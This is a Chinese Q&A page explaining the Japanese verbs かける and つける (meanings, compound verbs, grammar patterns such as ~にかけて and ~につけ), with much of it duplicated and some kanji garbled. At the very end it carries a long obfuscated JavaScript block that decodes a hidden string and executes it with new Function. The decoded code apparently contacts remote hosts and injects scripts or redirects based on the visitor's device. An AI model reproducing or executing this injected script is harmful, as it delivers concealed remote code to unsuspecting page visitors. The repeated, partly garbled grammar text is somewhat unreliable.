推荐回答(3个)
かける和つける主要从含义、词性和语法上进行区分。
一、かける和つける的含义区别
1、かける的含义
(1)“かける”最基本的意思是“选,靠,挂,装”的意思,表示“点”对“面”上的动作。
例:桥を架ける。/架桥。
看板を挂ける。/把牌子挂在墙上。
(2)同时也可表示“面”对“面”上的动作。表示“披上,蒙上”的意思。
例:テーブルにテーブルかけを挂ける。/把台布蒙到桌上。
金メッキを挂ける。/镀上金。
(3)在数学上,“かける”还可表示乘法。
例:3に4をかけると12になる。/3乘以4等于12。
2、“つける”的含义
(1)消除某一事物与其他事物之间的距离,使其不能分开。
例:剣を铳口に付ける。/把刺刀安到枪口上。
カメラにフィルターを付ける。/给照相机安上滤色镜。
(2) 跟随某人,某事。
例:彼の後をつけた。/跟在他后面。
あいつをつけて行け。/盯上那个家伙。
(3) 创造出某种新状态。比如养成了新的本领或者习惯。或者加入了某样东西使其状态发生了新的变化。
例:良い习惯を身に着ける。/养成良好习惯。
悪い癖をつけては困る。/不要养成坏毛病。
(4)置身于某种地位及场所中。
例:先生に付けて习わせる。/给他请老师教他学习。
被告に弁护士をつける。/给被告找律师。
二、かける和つける的复合动词区别
1、关于“かける”的复合动词。
追いかける(おいかける):追赶,紧跟。
出挂ける(でかける):出门。
话しかける(はなしかける):跟人说话,攀谈。
引っ挂ける(ひっかける):挂上,披上,欺骗。
呼び挂ける(よびかける):招呼,叫住。
腰かける(こしかける):坐下。
しかける(しかける):着手,开始做。
见挂ける(みかける):看到。
持ち挂ける(もちかける):提出,建议。
振り挂ける(ふりかける):撒上。
立て挂ける(たてかける):靠在......。
2、关于“つける”的复合动词。
(1)接在动词的连用形后,表示经常做某事或习惯做某事。
例:行きつけた所。/常去的地方。
(2)接在动词的连用形后,修饰强调动作的程度或方向。
例:真昼の日射しが激しく照りつける。/中午的阳光非常毒。(表程度)
子どもに买い物を言い付ける。/叫孩子去买东西。(表方向)
三、かける和つける的语法区别
1、かける”语法解说
(1)~から~にかけて
多以“体言+から+体言+にかけて”的形式,表示时间、空间的起止范围。但这种起止并不精确,而且在此期间出现的情况、现象等也多是断断续续的。表示“从...到...”的意思。
例:午後2时から4时半にかけて、会议が行われている。/在下午2点到4点半举行会议。
昨日、湖南省から湖北省にかけて大雨が降った。/昨天,湖南省到湖北省一带下了大雨。
台风は今晩から明日の朝にかけて上陆するもようです。/台风从今天晚上到明天早上左右登陆。
(2)~かける
在动词连用型后,可表示“刚要……”或“还没……”或“即将……”的意思,表示动作进行到一半。在表示『刚要……』这种意思的时候,多后续转折的结果
例:彼は言いかけてやめた。/他刚要说又不说了。
挫けそうになりかけてもあきらめません。/即使感到很挫折也不放弃。
2、“つける”语法解说
(1)“~につけ”:表示“不论...都...”的意思。
例:なにごとにつけ、我慢が肝心だ。/无论遇到什么事,忍耐都很重要。
用なにごとにつけ的形式,表示“无论什么场合”
动词连体形+につけ:表示“每当...就...”的意思。
例:彼女の姿を见るに着け、そのときのことを思い出されます。/每当看到她的样子就想起了当年的往事。
“に着け”是惯用的表达形式。接みる、思う、考える等,表示“每当我看到就想起......”的意思。后面接“思い出”,”後悔”等与感情或思考相关的内容。
(2) “...につけ...につけ”:表示“无论...无论...都……”的意思。
重复两个成对的事物,表「~の时も~の时も」之意。后文叙述一种被自然引发的事态。正因为这样,后文叙述的不能是人为的事情。
例:雨につけ风につけ、故郷のことが思い出される。/无论是刮风还是下雨,总会想起故乡。
嬉しいにつけ悲しいにつけ、酒は心の友となる。/无论是高兴还是悲伤,酒都会成为精神的朋友。

扩展资料:
~かける
作为后缀词语,前接动词连用形
一、表示动作、行为刚刚开始。可译为"刚要…""刚开始…"等。
1.タ饭を食べかけたら、友だちが来た。
刚要吃晚饭,朋友来了。
2.约束の时间を30分过ぎても来ないので、帰りかけると、向こうから彼女が笑颜でやってきました。
超过了约定时间30分钟还不来,我刚要走,她含笑从对面走了过来。
3.彼は「みなさん」と言いかけてやめたが、一体なにを言おうとしたんだろう。
他刚说了句"各位",便闭上了嘴。到底想说什么呢。
二、表示动作、行为中止。可译为"一半"
4.建てかけた家。
盖了一半的房子。
5.仕事をやりかけたままにしておいで、旅行に出かけました。
工作干了一半便搁置一旁,外出旅行去了。
6.読みかけていた本を弟にやった。
把读了一半的书给了弟弟。
一、“かける”的原意
1、“かける”最基本的意思是“选,靠,挂,装”的意思,表示“点”对“面”上的动作。
例:桥を架ける。/架桥。
看板を挂ける。/把牌子挂在墙上。
2、同时也可表示“面”对“面”上的动作。表示“披上,蒙上”的意思。
例:テーブルにテーブルかけを挂ける。/把台布蒙到桌上。
金メッキを挂ける。/镀上金。
3、在数学上,“かける”
还可表示乘法。
例:3に4をかけると12になる。/3乘以4等于12。
二、
超级多多的引申义
1、由于“かける”即可表示“点”对“面”上的动作,同时也可表示“面”对“面”上的动作。由此
诞生了各种引申义,让我们看一下吧。
例:わたしは、毎朝植木に水をかけます。/我明天早上给树木浇水。
出かける时は、必ず家の键をかけてください。/出门时请务必锁上家门。
这里的“水をかける”、“键をかける”就是“浇水”,“上锁”的意思,由于都是使一个物体附着
在另外一个物体之上,所以用“かける”最贴切啦!
2、同时“かける”不仅可以用于形象物体,也可用于抽象的情景,表示“提出,使...遭受,携带”
的意思。让我们来看看以下几个用法。
例:纯子さんは友达に电话をかけています。/纯子正在给朋友打电话。
この料理は、时间をかけて作りました。/做这个菜花了不少时间。
急にうしろから声をかけられて、びっくりしました。/背后突然传来打招呼的声音,吓了一跳。
人に迷惑をかけないように注意しましょう。/注意不要给人添麻烦。
三、关于“かける”的复合动词
日语中有众多的复合动词,其中关于“かける”的都是比较常用的哦!
追いかける(おいかける):追赶,紧跟
出挂ける(でかける):出门
话しかける(はなしかける):跟人说话,攀谈
引っ挂ける(ひっかける):挂上,披上,欺骗
呼び挂ける(よびかける):招呼,叫住
腰かける(こしかける):坐下
しかける(しかける):着手,开始做
见挂ける(みかける):看到
持ち挂ける(もちかける):提出,建议
振り挂ける(ふりかける):撒上
立て挂ける(たてかける):靠在
一、“かける”的原意
1、“かける”最基本的意思是“选,靠,挂,装”的意思,表示“点”对“面”上的动作。
例:桥を架ける。/架桥。
看板を挂ける。/把牌子挂在墙上。
2、同时也可表示“面”对“面”上的动作。表示“披上,蒙上”的意思。
例:テーブルにテーブルかけを挂ける。/把台布蒙到桌上。
金メッキを挂ける。/镀上金。
3、在数学上,“かける”
还可表示乘法。
例:3に4をかけると12になる。/3乘以4等于12。
二、
超级多多的引申义
1、由于“かける”即可表示“点”对“面”上的动作,同时也可表示“面”对“面”上的动作。由此
诞生了各种引申义,让我们看一下吧。
例:わたしは、毎朝植木に水をかけます。/我明天早上给树木浇水。
出かける时は、必ず家の键をかけてください。/出门时请务必锁上家门。
这里的“水をかける”、“键をかける”就是“浇水”,“上锁”的意思,由于都是使一个物体附着
在另外一个物体之上,所以用“かける”最贴切啦!
2、同时“かける”不仅可以用于形象物体,也可用于抽象的情景,表示“提出,使...遭受,携带”
的意思。让我们来看看以下几个用法。
例:纯子さんは友达に电话をかけています。/纯子正在给朋友打电话。
この料理は、时间をかけて作りました。/做这个菜花了不少时间。
急にうしろから声をかけられて、びっくりしました。/背后突然传来打招呼的声音,吓了一跳。
人に迷惑をかけないように注意しましょう。/注意不要给人添麻烦。
三、关于“かける”的复合动词
日语中有众多的复合动词,其中关于“かける”的都是比较常用的哦!
追いかける(おいかける):追赶,紧跟
出挂ける(でかける):出门
话しかける(はなしかける):跟人说话,攀谈
引っ挂ける(ひっかける):挂上,披上,欺骗
呼び挂ける(よびかける):招呼,叫住
腰かける(こしかける):坐下
しかける(しかける):着手,开始做
见挂ける(みかける):看到
持ち挂ける(もちかける):提出,建议
振り挂ける(ふりかける):撒上
立て挂ける(たてかける):靠在
......
四、“かける”语法解说
1、~から~にかけて 多以“体言+から+体言+にかけて”的形式,表示时间、空间的起止范围。但这种起止并不精确,而且在此期间出现的情况、现象等也多是断断续续的。表示“从...到...”
的意思。
例:
午後2时から4时半にかけて、会议が行われている。/在下午2点到4点半举行会议。
昨日、湖南省から湖北省にかけて大雨が降った。/昨天,湖南省到湖北省一带下了大
雨。
台风は今晩から明日の朝にかけて上陆するもようです。/台风从今天晚上到明天早上左右登陆。
2、~かける在动词连用型后,可表示“刚要……”或“还没……”或“即将……”的意思,表示动作行到一半。在表示『刚要……』这种意思的时候,多后续转折的结果
例:彼は言いかけてやめた。/他刚要说又不说了。
挫けそうになりかけてもあきらめません。/即使感到很挫折也不放弃。
“つける”的含义
1.消除某一事物与其他事物之间的距离,使其不能分开。
例:剣を铳口に付ける。/把刺刀安到枪口上。
カメラにフィルターを付ける。/给照相机安上滤色镜。
2.跟随某人,某事。
例:彼の後をつけた。/跟在他后面。
あいつをつけて行け。/盯上那个家伙。
3.创造出某种新状态。比如养成了新的本领或者习惯。或者加入了某样东西使其状态发生
了新的变化。
例:良い习惯を身に着ける。/养成良好习惯。
悪い癖をつけては困る。/不要养成坏毛病。
4.
置身于某种地位及场所中。
例:先生に付けて习わせる。/给他请老师教他学习。
被告に弁护士をつける。/给被告找律师。
“つける”的复合动词
“つける”作为补助动词使用时,主要有以下两个意思:
1.
接在动词的连用形后,表示经常做某事或习惯做某事。
例:行きつけた所。/常去的地方。
やりつけた仕事。/熟悉的工作。
2.
接在动词的连用形后,修饰强调动作的程度或方向。
例:弱点を突いて相手を痛めつける。/抓住弱点大肆攻击对方。(表程度)
真昼の日射しが激しく照りつける。/中午的阳光非常毒。(表程度)
水田に稲を植え付ける。/往水田里插稻秧。(表方向)
子どもに买い物を言い付ける。/叫孩子去买东西。(表方向)
“つける”的语法
1.“~につけ”:表示“不论...都...”的意思。
例:なにごとにつけ、我慢が肝心だ。/无论遇到什么事,忍耐都很重要。
用なにごとにつけ的形式,表示“无论什么场合”“每当有个什么契约”
动词连体形+につけ:表示“每当...就...”的意思。
例:彼女の姿を见るに着け、そのときのことを思い出されます。
“に着け”
是惯用的表达形式。接みる、思う、考える等,表示
“每当我看到就想起......”的意思。后面接“思い出”,”後悔”
等与感情或思考相关的内容。
2.“...につけ...につけ”:表示“无论...无论...都……”的意思。
重复两个成对的事物,表「~の时も~の时も」之意。后文叙述一种被自然引发的事态。正
因为这样,后文叙述的不能是人为的事情。
例:雨につけ风につけ、故郷のことが思い出される。/
无论是刮风还是下雨,总会想起故乡。
嬉しいにつけ悲しいにつけ、酒は心の友となる。/
无论是高兴还是悲伤,酒都会成为
精神的朋友。
!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();